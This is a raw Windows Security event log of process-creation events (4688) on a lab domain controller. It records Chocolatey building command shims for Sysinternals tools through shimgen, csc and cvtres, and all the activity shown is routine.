	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\diskext64.exe" --output="C:\ProgramData\chocolatey\bin\diskext64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\diskext64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246460
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x580
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x534
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC59D.tmp" "c:\ProgramData\chocolatey\bin\CSC7D1664B324AA4168A62DE53A761482B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246459
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x534
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246458
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x534
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeb8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\diskext.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246457
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeb8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246456
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\diskext.exe" --output="C:\ProgramData\chocolatey\bin\diskext.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\diskext.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246455
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa68
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC4C2.tmp" "c:\ProgramData\chocolatey\bin\CSCBBDA23DEF44248EDB4585646DB4A6BFC.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246454
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe78
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa68
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246453
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa68
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x6c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\disk2vhd.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246497
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe30
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x844
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246496
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x844
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\FindLinks.exe" --output="C:\ProgramData\chocolatey\bin\FindLinks.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\FindLinks.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246495
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfc8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCB98.tmp" "c:\ProgramData\chocolatey\bin\CSCD8593866E49C4D93A39D30B1EE8249D7.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246494
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd10
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246493
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc2c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\efsdump.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246492
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc2c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246491
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc2c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\efsdump.exe" --output="C:\ProgramData\chocolatey\bin\efsdump.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\efsdump.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246490
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x364
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCABD.tmp" "c:\ProgramData\chocolatey\bin\CSCEFEA39A3BA9F40A8A9AE401766904040.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246489
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

